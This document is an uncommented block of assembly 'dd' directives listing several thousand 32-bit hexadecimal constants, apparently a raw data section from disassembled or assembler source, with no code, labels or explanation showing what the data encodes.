		dd 8605D059h, 3B794FB8h, 410E0B8h, 5D4D0BDEh, 1338D1C8h
		dd 0F800F081h, 0A8AC2899h, 5EC3A558h, 9370C8E0h, 0C0718Ah
		dd 0D83B8241h, 7F01E092h, 4E8CD403h, 5E6FF39Bh,	8DB6801Ch
		dd 0A62C0CD6h, 0BEACE702h, 741CD881h, 329944A4h, 707009E2h
		dd 3CD9CC82h, 0C08706E2h, 0F8D413F8h, 81CF4919h, 3842B827h
		dd 307E0C00h, 7F0C9735h, 99BBDF86h, 1E572C46h, 340F0228h
		dd 80E61FABh, 0C35AFE00h, 8AEEA539h, 359800AFh,	0AE37906Ch
		dd 0F7020CBFh, 2EB742ACh, 8E48C1D5h, 88DFCC60h,	31388406h
		dd 0D204013Bh, 6FB54BB2h, 1144730h, 5D0DC6EAh, 3CA59F3Ah
		dd 347AC0ECh, 9A2321h, 0DCE8E44h, 0BFD32CB7h, 2AA9C600h
		dd 530601CAh, 265F0260h, 8B6EEC16h, 0F7132040h,	80B8F576h
		dd 27EB4Bh, 41D79020h, 0D87E3AB3h, 0EC9DA394h, 0F52F059Fh
		dd 1E8B883h, 26080325h,	8A561E6h, 7E73BCC6h, 0F0403494h
		dd 0FC2E8CB3h, 92B7036Bh, 0FB33FEC9h, 3004EE4Ah, 0B135D11h
		dd 6CE81DA8h, 750041E9h, 4F122AC1h, 0F89160h, 5D4B68FBh
		dd 82398098h, 2C707F4Eh, 84BBCED1h, 0D71FDF04h,	24AE694Dh
		dd 15D4C0A0h, 0CD004A96h, 0E89F56F8h, 0CB4844h,	6838EADFh
		dd 23C8F498h, 6CD1990Eh, 5CF200Ch, 0F8FE87E8h, 3C6472BFh
		dd 0F63C931Fh, 72F3007Eh, 0BE2C0E34h, 0B4B8A095h, 0B8903044h
		dd 225700A9h, 8F285BF1h, 53000B16h, 69A2A4Eh, 0C2F35C9Dh
		dd 0B24B3BF0h, 62407054h, 0FE4420h, 6B314F02h, 97C07E0Ch
		dd 58E4DC07h, 0B744AAE9h, 70706087h, 0E81F0C8Fh, 0FE5EF0CAh
		dd 0DC1095B5h, 6900B0B2h, 0D552BA7h, 481D3B03h,	0B852F430h
		dd 6460E900h, 57F5FE5h,	0E102CC73h, 0E4524E79h,	383001A3h
		dd 71AB144Fh, 911C3B3Ch, 0C84E1450h, 4A035668h,	8D7CC367h
		dd 0C708A85Ch, 0E98004B6h, 0E847B449h, 0B797A10Ch, 5091DA31h
		dd 7E61EE7h, 7F8E3D06h,	192C3C20h, 9CCA2F13h, 4A00E560h
		dd 295DEB34h, 4BAD99BDh, 2310D06Ch, 8104B162h, 24DF56FFh
		dd 8039C84h, 79E93454h,	60A645D8h, 971C2100h, 0C02D124Ah
		dd 7CD50E28h, 57EA4F9Ah, 0F0C4C828h, 57974E00h,	91C65D3h
		dd 6DCC02E2h, 54A71886h, 0C80C18h, 74516B05h, 606EE64Fh
		dd 0D7076675h, 0A90A2122h, 42E1C4F1h, 0A288087Bh, 0B392E09h
		dd 64287110h, 0A4442984h, 47666401h, 0C1FC8FB8h, 0A8853DBFh
		dd 0C030780h, 96B1F6D8h, 2342111Eh, 8D45E740h, 5BDAE8ACh
		dd 60F8DD21h, 4F00582Ch, 0B6C5E3D6h, 9889865h, 2075A407h
		dd 78758C3h, 0BED980F4h, 58B91D73h, 55398E87h, 6F937A10h
		dd 0F036586Dh, 0CFD06192h, 0EF20607Eh, 82C4498Ah, 1100B433h
		dd 48736CA3h, 0D098A877h, 0D0437525h, 0E7EC9698h, 9224FA60h
		dd 5E24C825h, 0F8420201h, 5A4883A0h, 20CF1983h,	0B8C93B8Bh
		dd 2341D930h, 1BE2178h,	1E7F4A38h, 0C25C40F8h, 23009529h
		dd 0BED29997h, 0B67038h, 9686147Eh, 0D5A0EF03h,	0A7204317h
		dd 0BE178402h, 0F7A8E056h, 3AD9CBE9h, 0A7D93400h, 47000AE0h
		dd 4DBC3B7Dh, 4BC29B36h, 60D8DCCAh, 4705DD01h, 7F7431A8h
		dd 0DC488D2Eh, 10BF690Dh, 34B57Ch, 0DC9D74FFh, 92647055h
		dd 0D73B5400h, 268820A4h, 39A605C9h, 0F0D093CCh, 0A844B000h
		dd 4953609Bh, 0DC040B44h, 0B5B86001h, 2A02E1A6h, 79E662E0h
		dd 0FBB30296h, 574DD5C5h, 0B25D8062h, 8F3040DCh, 6A48012Ch
		dd 82B36603h, 9DF85253h, 41305612h, 0C113B9C2h,	28AED4F9h
		dd 0F4BFA903h, 0E047AFD9h, 4EC0034Ah, 22A82143h, 534D1146h
		dd 5F10242Ah, 0DF730060h, 162B5749h, 0D7C14E00h, 217F8960h
		dd 6DC1EAEh, 0A5C7D67Eh, 0F8607BECh, 10CBDA5h, 0A49B78B6h
		dd 60E7BFFFh, 0FB04DC90h, 2B39C804h, 0C77060BFh, 0F7029A0Bh
		dd 9BBED170h, 48F8E01Ch, 74E1549Eh, 51CD3DF8h, 5EAA6580h
		dd 0A911629Fh, 32872F00h, 9A035806h, 75970B1Ah,	0B8A97035h
		dd 7FA09880h, 0A51874DAh, 1AF157C2h, 0CED00186h, 1150BD1Ch
		dd 0E6F06056h, 0C18048B1h, 0C7F0A73Ch, 83040F94h, 0C6C01A4Ah
		dd 4C16875Dh, 0B8EB3D2Eh, 7D126300h, 32851Ch, 0A257D2CAh
		dd 61B5A698h, 4BE0505h,	8CE87EE8h, 0BDA14C84h, 0CA480D0h
		dd 17ED2124h, 0A4A35583h, 0FC99B16Ch, 66D4CD0Bh, 0FED8380Ch
		dd 7CEF0901h, 9161B696h, 7F2CA930h, 42294434h, 0D87CDA7Eh
		dd 7808930h, 44742066h,	0C8B4F6DEh, 8058ED80h, 3B27FB9Fh
		dd 0DF8E3D61h, 132EA9A6h, 39978FE0h, 2D58A77Fh,	4E14206Ch
		dd 0DF58A291h, 81E10823h
		dd 91A1D808h, 0B5370090h, 1F645091h, 3CB83BCCh,	8FD60700h
		dd 84BBAE08h, 0E2704E00h, 4AE97DC4h, 8AF1C70Ch,	54C859E8h
		dd 0C1267336h, 8A5874DFh, 2D4D05E7h, 0FD7F9639h, 0CE310174h
		dd 98B5E4B7h, 121E5EDCh, 9C1626A8h, 0C1F953Ch, 0D3064AB0h
		dd 90195E4Dh, 3E8081D8h, 846C1102h, 6140E8B9h, 3B64B999h
		dd 3F055756h, 87360BDBh, 8D952130h, 0A2C460F8h,	0CFD088h
		dd 1153BE24h, 0ED9B2DA5h, 3C44D4A6h, 37C700EFh,	443AEA76h
		dd 3302C27Ah, 0A58BC3B3h, 0A29056D9h, 7BFE0018h, 0A87EFD25h
		dd 80264A6h, 0BE7F10B3h, 8CECD43Ch, 0E39E86Fh, 0AB000570h
		dd 7EA8448h, 7ECE795h, 27A88B9Bh, 6AB212DCh, 14B98469h
		dd 30129CACh, 0E7F8A423h, 4192Ch, 1C021D12h, 0C49D7F95h
		dd 20C69514h, 44740626h, 0EF283B60h, 0DFB00012h, 0F37BEE6h
		dd 2F004CCFh, 0FC830AF7h, 97EE5DD7h, 0A2B30B9h,	0ECA4125Eh
		dd 752DC004h, 0B6EEF5h,	8F7722C7h, 0C95533EBh, 0CAFC30BDh
		dd 0A71D051Bh, 80E776FAh, 20166D58h, 0BACF6F04h, 0B0C0E987h
		dd 8195EE53h, 940B6F3Ah, 14FCD38Dh, 44507848h, 32070345h
		dd 0DC647369h, 0F5BA76C0h, 0C16404BCh, 1F6C3642h, 7CA97841h
		dd 58F89298h, 0F28DBBA0h, 6879DD03h, 9FA64831h,	0B0D6E293h
		dd 14B25428h, 0F0C2CC34h, 374B7A17h, 715220C8h,	220725EFh
		dd 0C9051465h, 0BD164560h, 9A951033h, 0BCA21C4Fh, 5FC42440h
		dd 15346DFh, 0E903F7B2h, 0F630B90Dh, 0C195F444h, 0EECCC7B0h
		dd 43FC006Eh, 34EFAA28h, 0CE0089DDh, 0F7FCB22h,	9CAC004h
		dd 0A7475742h, 0A900D859h, 0B038876h, 0BB740326h, 343D6FA4h
		dd 0ACB3E9E8h, 1D8028B9h, 5BCC032Eh, 49AD5AF6h,	0E05CC574h
		dd 99A850h, 94FE6EADh, 67FB5FCCh, 0B661DA01h, 93751C68h
		dd 4BF8C0h, 0DFC7AF21h,	1E439DB5h, 1D989F15h, 475005Ch
		dd 23D2B861h, 0C75E2D58h, 70A3D091h, 0F7056C0Dh, 470F2C76h
		dd 65E825h, 96EACF0h, 0E263DA82h, 93001471h, 21B6ADCAh
		dd 0A6FA0040h, 0F5E2E0A3h, 0E0A17FD4h, 0E601DE64h, 1C577B55h
		dd 189380BBh, 72E5BD62h, 7CBC0033h, 527FC7C4h, 0E928E702h
		dd 0A53740B6h, 7F8039C0h, 0BCDC96h, 0E36BF630h,	59D425B7h
		dd 0DAE9920Ah, 60210C43h, 7A27F02h, 8F74492Dh, 0B6007E18h
		dd 14FEC65Dh, 0E85FE4C3h, 7F632E03h, 6E1F870Ch,	90EAD209h
		dd 0B1E9D8C0h, 68A2F894h, 3410C500h, 23E15793h,	6AE904E0h
		dd 0A807067Ah, 9AB6A1A8h, 0DA88703Ch, 7F004CACh, 26C37BCCh
		dd 90CC909Eh, 7ED744E8h, 0B0D58600h, 3D6EED8Eh,	51202F7Fh
		dd 1F00D044h, 0EE8DA473h, 779FE6h, 45D744C4h, 99E73A81h
		dd 4E150A02h, 0FE22B260h, 69BC0078h, 7C625DF8h,	0A0FE6134h
		dd 8EEF8C3h, 292730A9h,	46C90ADh, 0E0CE13DBh, 0E66502D3h
		dd 0B5E0E215h, 2C1CB2C1h, 0C8266E2Eh, 23034C20h, 382DA413h
		dd 9FA8A8F6h, 0DAE21EF3h, 5DF14068h, 7DA12B3Dh,	1A212E0Bh
		dd 4D542247h, 41345156h, 0E8C75A04h, 1C09174Bh,	4A78988h
		dd 1D53A014h, 26826D6h,	51CCBFB4h, 0F0539CABh, 0F80D7A00h
		dd 0EEF5A19h, 8AC82D21h, 7CC2DEA9h, 3B4088D4h, 409FF2h
		dd 5E3F032Ch, 71F38C82h, 0C4160F7Dh, 6C099B07h,	84F106h
		dd 65FB547Fh, 0D97E7B97h, 1002987Dh, 8709C2DCh,	9BD9402Bh
		dd 0B5A50069h, 7E038B2Eh, 0C44D4643h, 80EC5C04h, 3CE7056Bh
		dd 0A99A0001h, 0F2C9AA86h, 0C100E30Fh, 0EDDA1BF4h, 96E2357h
		dd 0FB7EE080h, 41F0801h, 4CADC9B5h, 0D800C1D8h,	0F7C7BD7Ah
		dd 1F914C4h, 0DE907091h, 25C6A29Dh, 0B89C05F0h,	0A1D8014h
		dd 0F6FA590h, 5F7A19CDh, 7F039494h, 0D98A637Eh,	1EC8B160h
		dd 260ACC6Bh, 846CF3B9h, 4671309h, 0B0B31CD2h, 0C66B2064h
		dd 302D204Fh, 46781039h, 2070DAh, 62239503h, 1FE75591h
		dd 0B8A27E4Bh, 0F19BF203h, 0E18856C0h, 2500B05Dh, 9E7355A1h
		dd 24696111h, 1F0DB81h,	57F43175h, 12468FAh, 0F19F5D60h
		dd 106EB739h, 0DF2E0864h, 14102F45h, 15032558h,	21F9D616h
		dd 821B81BCh, 887B0C29h, 548D136h, 0BA970CF1h, 4052F88Ah
		dd 3C00B2FEh, 0AD1560C4h, 609E6BCBh, 65DC18FCh,	71F4F7DAh
		dd 7C55A301h, 9F47BC27h, 6B46D8h, 3986A2B2h, 0A0B14AC8h
		dd 2233E300h, 599B7629h, 152F8CFh, 0AE085D8Fh, 8E27830Fh
		dd 0D0A77540h, 373D7A2Ch, 32CCD340h, 70B51900h,	24D36021h
		dd 3A8C44Eh, 53F8531Dh,	5ABEA860h, 0F46077ABh, 0DC606330h
		dd 4B96F8E6h, 0E800C616h, 42697C40h, 0C2E53AFCh, 0CE40221h
		dd 821C1002h, 0FFF34420h, 34A02C9h, 21B0DA70h, 74CB43Ch
		dd 70D80C7Ch, 0F7F81C92h, 1890C54Eh, 0C76181h, 0C636417Bh
		dd 0C2C4ADB7h, 28FBD103h, 8DBB4DD4h, 5B041840h,	18DC453h
		dd 3138A774h, 0FCB8D7AEh, 6E0F7D92h, 528BBC65h,	6FD9C8C9h
		dd 0DE004C29h, 0E7B82198h, 8B00E333h, 6973E256h, 2539F666h
		dd 10907E5Dh, 77192B1h,	52AD1D00h, 51125CDAh, 17CB00F4h
		dd 0CFFF236Eh, 3412B47Fh, 0DC02ED88h, 403E8346h, 40E8DB3Ch
		dd 0AB3FB951h, 63167A16h, 2442EFBFh, 7E7B4A57h,	0DC270110h
		dd 0F069DD8Eh, 0E9260419h, 8E26EC1Eh, 0F2A22030h, 0D18514E1h
		dd 0C4E720BEh, 0C0BC65EAh, 0FD058BC9h, 0A4E4F41Dh, 9F5BF300h
		dd 0E75C14A9h, 5AEE85h,	5C2720Fh, 544DD180h, 17643896h
		dd 108000BBh, 0C1EFF5C2h, 0CB38B897h, 6BE038Bh,	608A2193h
		dd 7F0919C6h, 923843D0h, 0E20415E0h, 84E8DC1Eh,	87508D1Ah
		dd 42306FB2h, 4A76EED4h, 0D1780008h, 33A581Eh, 0EB321A20h
		dd 273E299Ah, 0E6A49028h, 1E0E04AFh, 63FD2991h,	9819AA11h
		dd 0FB2A92h, 0C8E41F9Fh, 40A9CB10h, 2D0E52F6h, 20A826CCh
		dd 29569355h, 0F2475C0h, 0F7314E73h, 0BC2C1BE0h, 0B6383A2Ah
		dd 54420071h, 0EECFBB9Ah, 0F0DE005Eh, 4F104BA6h, 0E704A387h
		dd 29725DCDh, 3B958DC0h, 0C473D2h, 0D12AE8DFh, 4650A220h
		dd 321B391Eh, 8980B743h, 0CE0BE86Ch, 59801E5h, 74BE1A61h
		dd 0F908DC15h, 1820400h, 9630D3AFh, 0AA3A001Ch,	0E62413E0h
		dd 7D010E5Fh, 0CE9E8909h, 12E074BBh, 1F770086h,	0FAE7FB2Fh
		dd 874C79EAh, 97530023h, 0E3B9ACCFh, 8A950059h,	4DC9D866h
		dd 1F009C85h, 0D2FC15F9h, 1F01D43h, 3173646h, 0FCCF4780h
		dd 0C0004F33h, 0BCBA3E11h, 0A06B7978h, 4AD9687h, 0D6824C06h
		dd 0EA6C90E8h, 0E500EE08h, 4B8C3117h, 0FED996BBh, 0CD6307C4h
		dd 0C07E1661h, 0BF6968CCh, 0A96BE200h, 0B8E4A836h, 0A05B0F17h
		dd 4BE0EF01h, 6756B929h, 7BD538h, 8904E88h, 178069h, 0C5C437F1h
		dd 93B40CEh, 51D13000h,	0B77F0EEDh, 330B0064h, 25BD4A58h
		dd 0F10F85C2h, 6AD115h,	0B8C13242h, 0CE781Eh, 0D481528Eh
		dd 0D630AA69h, 6E13EB00h, 0CE2AD88Bh, 5AF600F9h, 6CC69F24h
		dd 0FC79E9E8h, 3E0087B8h, 117E0232h, 0F0B9885h,	0E4F288A5h
		dd 21C9001Ch, 509AC508h, 0BB001377h, 0DA9DD392h, 9B9605h
		dd 3DACFC63h, 84633DFh,	9D12B8C0h, 2C6EB81Dh, 1FB90DA7h
		dd 0A4D5C007h, 2655BE53h, 0FB72D20Fh, 77F38060h, 9E1DB17Bh
		dd 5CF20088h, 0D2033BA8h, 0F1A5290Bh, 70370079h, 0A452DDh
		dd 3AA97BF0h, 0E9282E4Eh, 1D94053Ch, 2CFD9961h,	0A803A2ECh
		dd 0C814856Dh, 9617AFh,	7E38E88h, 7F71C45Ah, 0FE003B7Bh
		dd 1C56E1CCh, 65B3B2h, 556E9D3Dh, 8D89A2A8h, 0AAE83500h
		dd 0EAD89A44h
		dd 534200DEh, 60332129h, 0C900380Ch, 0C84BFC6Ah, 35F69B2h
		dd 0D1505BBBh, 5398CC0Dh, 1600F687h, 0E45C28C4h, 905F7796h
		dd 1C7E0064h, 34297941h, 0B706799h, 0C3978E00h,	0A81F2E5h
		dd 0BA930019h, 0D64FBC1Eh, 300E668h, 7CA6674h, 0F2DAE0h
		dd 5E5FE735h, 0A50E36EFh, 992D4E00h, 438A927Dh,	27AF121Ah
		dd 0D2B00014h, 90F236BAh, 2FF62300h, 0D78D5307h, 706095CFh
		dd 0DC004260h, 56CCE7AEh, 0B56139h, 0C1E2B9EEh,	0B3623A69h
		dd 0FCA7D400h, 0E10368F1h, 9AEA00A8h, 105E1465h, 0EB189DE0h
		dd 0DBE8619Eh, 338626CBh, 0E4530038h, 3EC6D9F3h, 0C1B5CD00h
		dd 3ADD0BF0h, 0F76F0ECFh, 0B787D66Eh, 0ACB820C4h, 0CA000402h
		dd 8FE630D0h, 0D772FCh,	7C13DE32h, 809BBDEAh, 0B0B4F70Fh
		dd 94F05712h, 0BFBC009Dh, 0E9616872h, 330052C4h, 140BDE0Eh
		dd 38163DBh, 8740F255h,	190BEAE7h, 9B4CC6h, 582C7862h
		dd 48E43Eh, 0F813B036h,	0D44F0A07h, 390E901h, 34AE8C46h
		dd 0A320453Fh, 5F4EC0E5h, 1E0FB153h, 0A037B68Ah, 0C880C2BAh
		dd 4DA9004Fh, 0A44A49E6h, 0D0007105h, 0BE20D731h, 7538E25Ch
		dd 0CDD10069h, 0CE88F8C2h, 1716D418h, 890F150Ah, 0A0C669BCh
		dd 0CB54D304h, 72D00F0Fh, 0C05C6848h, 0A4568598h, 0C6262E29h
		dd 0A800E844h, 9E0C94B8h, 0FB1D005Ch, 0E23488D0h, 871C3010h
		dd 0AB401B15h, 0BDDF17B4h, 399A0004h, 6ECD53E4h, 0AE00D7ADh
		dd 42953640h, 587A258Ch, 912710D0h, 93E01420h, 790068B2h
		dd 20DC2457h, 8E89F0h, 3AB3A4A6h, 3E4FA0EAh, 0E8692D1Dh
		dd 186A68C0h, 71C56FC7h, 43C805B0h, 83832709h, 26B86BFCh
		dd 0E4330A0Dh, 80A49CD0h, 0F4D3BBFEh, 58E60071h, 0B462FF54h
		dd 81A150DFh, 0A46865h,	83E4526Fh, 3E517077h, 6A87DA07h
		dd 70258A4Ah, 55AB0F2Dh, 318EB71Fh, 640CAC0h, 3FDE90B2h
		dd 0F200C91Ah, 94B5F03Ah, 0EB00AF68h, 0DCAA83D2h, 582FEDh
		dd 2BDD9D09h, 7C63AC20h, 0A903E00h, 590F109Fh, 15D800DEh
		dd 0A213AF8Ch, 11C0731Fh, 9B7C8240h, 0F3CE008Bh, 13916787h
		dd 8F1CBB0Dh, 3100E7F5h, 8232DAC4h, 0D97C0384h,	0C151D781h
		dd 0CF85CC8h, 9DE30503h, 0B9FE1F3Eh, 47E0D9F5h,	11B9F4DAh
		dd 0AF5E65h, 0E4A60E70h, 615DC9h, 12209A72h, 198FE96h
		dd 0AD00D4B6h, 36B5D082h, 4B7A3C0Ch, 0B6E37701h, 0EC63032Bh
		dd 0F90075ACh, 0A5F071C8h, 5EED47h, 1A48BF26h, 99EE3292h
		dd 6CB32500h, 37190DEh,	0F2500084h, 56AA1508h, 707D352h
		dd 7C0A2476h, 0D4FDCD70h, 724B07A3h, 0F09FA8CCh, 178F99D7h
		dd 0AFF6ACE2h, 0BA4548h, 20BD2B0Fh, 5C7EF5h, 86E37F8Eh
		dd 0A29452FCh, 0C4784703h, 0D88F6893h, 0D1798Ch, 89191FC3h
		dd 0E3ECF15Dh, 0CB018774h, 0FC8E3E85h, 4870924Ch, 242A00A6h
		dd 91F95F79h, 0F6F6C9DAh, 5E73D017h, 210C7A00h,	8605C6h
		dd 0E1FF0B57h, 49760FA9h, 0CB87B600h, 0BE586FE3h, 0DE2A0018h
		dd 5F29649Bh, 0E700FA1Ah, 0A82FAB96h, 5BCD846h,	36FE507Eh
		dd 0CCF8D059h, 423B57B5h, 885F03BFh, 907F6CFAh,	72CEB29h
		dd 5B8A326Eh, 0E96B727Bh, 0A8055046h, 95E51B6Ah, 0C06C5C80h
		dd 1E983880h, 6380D03Ch, 7804B1DFh, 8F000C2Fh, 80AD645Bh
		dd 1F6DF0h, 9016AE09h, 0D5E33F28h, 0BC5EB900h, 8C6CB5D9h
		dd 0A3EF0059h, 4052248h, 45188AECh, 0F3F86B85h,	9D3B01D3h
		dd 0B208A9F2h, 62E446C3h, 1C1083F5h, 0C045B89Eh, 58DF4ED3h
		dd 0A3006067h, 4DE5F18Dh, 0F400567Eh, 0A5852BE2h, 177D9E8h
		dd 95DD9B4Fh, 7D6F6559h, 7B630078h, 5DC1E0A0h, 0CC990F23h
		dd 0BC0791AAh, 0DA36B339h, 48E495C0h, 3701EFF0h, 0E29BA0D9h
		dd 119812BEh, 0E61F3196h, 97D83402h, 55AAE594h,	0D904D014h
		dd 5B2DCAF5h, 0F27017BEh, 52CB8888h, 763481D5h,	0C93B9C4Ah
		dd 0AA6DF850h, 0ABF24E00h, 0ADF7BDDDh, 5F1000D8h, 0C456D628h
		dd 86392333h, 0FF9297D7h, 0F2EC8F1h, 9AAEFAECh,	0CB2CB2A0h
		dd 0D036D0Ch, 1F61BE06h, 69968B76h, 5C42A069h, 1B63D4DAh
		dd 0C6470A1Eh, 8A690099h, 0E9CAC1BAh, 0FF15CFD3h, 177860B7h
		dd 0CB5C91Fh, 8394826Eh, 0F0F814DEh, 2003005Bh,	0C5D5D977h
		dd 1903B8F7h, 469D79A3h, 0D167C00Ch, 7E6F1634h,	317E00FEh
		dd 43785ADBh, 87FA7C00h, 935E7F68h, 0C7C00EC9h,	0BEA0D620h
		dd 0F2923CB1h, 0E00B3Eh, 0EA0C3AB0h, 9F14EC75h,	0C2EE2378h
		dd 29004DE0h, 95A7ACD7h, 82DBB0h, 460CCDE6h, 60DDEF73h
		dd 994A200h, 0A7D6C2FFh, 0DE8903F1h, 0C39678C6h, 0CA2120D8h
		dd 0FEEAEC01h, 4CFBF4F8h, 1C8572E0h, 1F13EEA1h,	79FB0h
		dd 733B92DCh, 0A901C330h, 53C2D3F1h, 0F4F60AEDh, 474750h
		dd 33CD75AFh, 1E289D02h, 0F57D0871h, 1C151E80h,	2E1245E5h
		dd 8F61083h, 0BFE97A06h, 233C49ADh, 4ADF0067h, 60B67F01h
		dd 289CE963h, 27F3B09h,	0A5E6D2C2h, 4454ECC3h, 275D8EE0h
		dd 22452EC9h, 18FD007Dh, 238CB9E9h, 0EC0390B8h,	0B2412852h
		dd 273CC020h, 554D0045h, 0CD77232Dh, 2C00F711h,	17520F5Eh
		dd 6056BC70h, 2FB571CEh, 0EB01E56Ch, 6D213757h,	7A3197DFh
		dd 0A2E4FFF8h, 8724F6FAh, 1072D6A0h, 1282AC29h,	0BF75B607h
		dd 4E412078h, 803B4B53h, 97DB6060h, 0F306100h, 34FF1B0Ah
		dd 736500BCh, 0F607F4FCh, 19C0E3E0h, 311D96DFh,	720401F7h
		dd 7C0D5CEAh, 3F18D116h, 98CA97C0h, 47F819h, 69B58F97h
		dd 66C1DD75h, 4018F06Fh, 0BC278E71h, 78ECF8FBh,	78EB7C82h
		dd 0CE100C9h, 540FE69Bh, 3462F587h, 5DE37458h, 335F3E0h
		dd 0AB77CB03h, 0C0C22D69h, 637CC4DDh, 930A2847h, 0F0C3F0C9h
		dd 6D33D4DBh, 0D8F9996Ch, 6E0F6180h, 0D1206820h, 5C08E313h
		dd 0E1C0DD03h, 18BD6C1h, 342699A0h, 83D28753h, 0EDE33D81h
		dd 55850F3h, 92AA012Bh,	0B19323DCh, 88AD1Ah, 4F849BEh
		dd 0F0D6E426h, 94455121h, 53408961h, 50D16D28h,	0A5CA411h
		dd 2BD36181h, 0DFD70448h, 4ED9200Ah, 3B9B80D5h,	0C82DE030h
		dd 0C4031BC9h, 6CF401E8h, 812B43D3h, 718EE757h,	0FEFA83D4h
		dd 26D130EFh, 4F098F69h, 0A919DD61h, 8303F42Eh,	0C87577E0h
		dd 0EC07B7F8h, 47DD60CCh, 2ED8FCCFh, 31D1F568h,	4030D7BAh
		dd 9BE08044h, 6D69513h,	0A20C4E4h, 3A81BE2h, 0F96E0D20h
		dd 11000B35h, 4CC4A665h, 81AC04h, 3783FAE2h, 2C783263h
		dd 61DCDD17h, 8E70E718h, 174E185Ch, 66145149h, 0EF5AD806h
		dd 66A82760h, 21450890h, 0D86E7600h, 9DA72A8Fh,	0FDAA129Eh
		dd 92405D7h, 3A401F5h, 415BF976h, 8834A9D8h, 248D10h, 0D73FF40Ah
		dd 0B10327B2h, 0C59A747Eh, 3BBE88FAh, 46B300E9h, 370A1341h
		dd 6E00B039h, 775DA183h, 0AC116Fh, 0CFFEA963h, 0DE742F54h
		dd 89D65A07h, 0C433DC71h, 9144B8E9h, 0ECE10043h, 9A467CF0h
		dd 25015E6Fh, 81CF140Ah, 0F9E05F89h, 0BB6707B9h, 634FFB4Eh
		dd 0BCC5B4B8h, 9C4C01C2h, 0CF13D781h, 26E3044Bh, 10383BFBh
		dd 2D4300EFh, 3DAC502h,	0A7EA0046h, 0C0CC80C7h,	6503D626h
		dd 2FEF8B1Ch, 16291147h, 8EDF1105h, 11647A11h, 22213F0Eh
		dd 42E2E21Fh, 3E7F111Eh, 1106FE11h, 4221793Ah, 943CB608h
		dd 6C11286Ah, 8862153h,	66943110h, 5F571114h, 9006A22h
		dd 519B60DBh, 16CA18h, 595EACB3h, 1DE027AFh, 75B6B226h
		dd 8A7BDA81h, 0F0CC3D35h, 7936001Eh, 0A3E47881h, 310049FBh
		dd 0B6754341h
		dd 0E9EA173h, 68F656CEh, 0A278B200h, 190B3324h,	94FBC6h
		dd 92A5284Eh, 0FC9F477h, 4F99A435h, 0E4AC3F60h,	52005FEBh
		dd 7B550840h, 1CA9B8h, 0FDC01B95h, 386E5E4Fh, 0F60939h
		dd 7A85997Dh, 302204h, 10A7C518h, 1D452570h, 0AA1B4400h
		dd 6F668EBh, 5CB50157h,	0A6022084h, 0D4FBE5C8h,	4A01C4F1h
		dd 0AC933265h, 0F7208CCBh, 0DC31009Ah, 0F0D8DBCh, 0B009166h
		dd 0B9E5156Fh, 239CF58h, 12B3561Ch, 1F41FFB4h, 835DC48Dh
		dd 62715100h, 0D8B12E38h, 20161DF2h, 603180B7h,	1EAAB453h
		dd 6F28CC03h, 0F0D9D7CFh, 0E66F9D8h, 0BD5F828Dh, 40DE3440h
		dd 1C24BA31h, 0FA8054E0h, 88DC21DFh, 3F7F7F3Fh,	7A002FD3h
		dd 0D6A4E903h, 0B51E64F8h, 45405163h, 0B61643E7h, 0F681000Ch
		dd 0FEDA34C7h, 8000D68Bh, 0A04D579Eh, 9913ABDh,	72FD3CAAh
		dd 0D8030600h, 97261DA4h, 3D00298Ch, 1EEC73D7h,	45940083h
		dd 1666DF31h, 28072F38h, 0B9D92210h, 0F95BD210h, 98E5EE07h
		dd 0C8580081h, 1E14BE4Fh, 0F781527h, 0C8ECD232h, 0F8044493h
		dd 29490087h, 0FA0536F8h, 1C00A8FFh, 0FB9548Ah,	7D5D327h
		dd 0DE80C171h, 0FC6930EDh, 0EB00A603h, 0E0A39D91h, 177626h
		dd 12C7A488h, 5815B6B3h, 7350C503h, 0A8E8B019h,	6468BEh
		dd 520455D1h, 0E5BFA479h, 3837D300h, 0DC147B18h, 210E3B80h
		dd 260F730h, 0F600E134h, 937C9458h, 0F94940h, 0A02AA331h
		dd 2E27D099h, 0CC133503h, 0F839D844h, 0FBEE0h, 61195E98h
		dd 15075892h, 0DA00A278h, 54EC646Ch, 727142h, 0A58FCD38h
		dd 22A7920h, 1DAC2800h,	4F963435h, 97A703B6h, 0CDE74256h
		dd 88A01B9Ah, 85EC146h,	0B391A609h, 0CC2600C5h,	38D05125h
		dd 150F1EE0h, 542042B2h, 1645A0B0h, 0F3CFE300h,	648CB607h
		dd 0A21A01C9h, 32E4FB8Fh, 0E37C30E9h, 7CA0CA00h, 0FEDFBF4Bh
		dd 0BACC00B9h, 0EBE622Ah, 0CE4896F2h, 36820097h, 0D03B1FADh
		dd 2E1C07AAh, 50EE7FE9h, 271BB587h, 652FDC1Dh, 7392D500h
		dd 2FE7274h, 267E03Eh, 0AC80FD10h, 47371765h, 777E2000h
		dd 0C7E0BC7Dh, 13F701D3h, 2FDB6293h, 0AF8CD494h, 0B27F300h
		dd 0A783E48Fh, 11240064h, 140CD738h, 5B00D6FAh,	0FB6C6346h
		dd 25A192Bh, 510477F9h,	40DD937Ah, 318F64Ah, 832FEC44h
		dd 298A2EFh, 0B9036457h, 1BBF8D9Bh, 5C35886Ah, 0BBF10027h
		dd 3DC197A5h, 2203614Ah, 0E1CB0577h, 0CDA4C09Ch, 5E120EAEh
		dd 0FAE06F45h, 0E46A96A6h, 0F8D0680Bh, 7CC887B1h, 0ADA5B920h
		dd 0CA9F0112h, 3C21910Fh, 0DC1BC9ACh, 2C988A4Bh, 58DA5D00h
		dd 0C40B9299h, 757A5829h, 35139601h, 24D304B4h,	2005294h
		dd 0B5A9EE43h, 176C4271h, 31C9BAh, 38411254h, 30B8E8Ah
		dd 806593B1h, 72622E1Dh, 0C473BFAh, 97CA3380h, 55A5B116h
		dd 23E14C01h, 0EBCCD68Ch, 380679E8h, 29FDA64h, 0AFD3C047h
		dd 0EC2DDBBh, 0CA6A1F00h, 28237B72h, 0B1971CF5h, 0F1110036h
		dd 5FA68594h, 0DEBBA017h, 6B9F931Ch, 4025640Fh,	86ACCC3Fh
		dd 0C8D800D2h, 3A122AC6h, 790E5CA4h, 8090A16Bh,	0A7C0A5C4h
		dd 9AC8A053h, 0EEB3012Ah, 6B9F5401h, 0D382C0E6h, 4725ED09h
		dd 0D5F40096h, 0B7EDE27h, 0A5BA0B55h, 0CF20F18Eh, 0D77C414Eh
		dd 0C3B3F100h, 0A4F55C0Ah, 0C08C1292h, 60D8003Eh, 18A14DFEh
		dd 0BCE7CF00h, 0C7B00BDDh, 33D6003Ah, 169936DAh, 0AF00F710h
		dd 0D9E081B9h, 512F6E6h, 13F13594h, 6ECCC0DAh, 88037CB6h
		dd 4847B465h, 60E6B211h, 502518CCh, 1019CA1h, 2B9D2916h
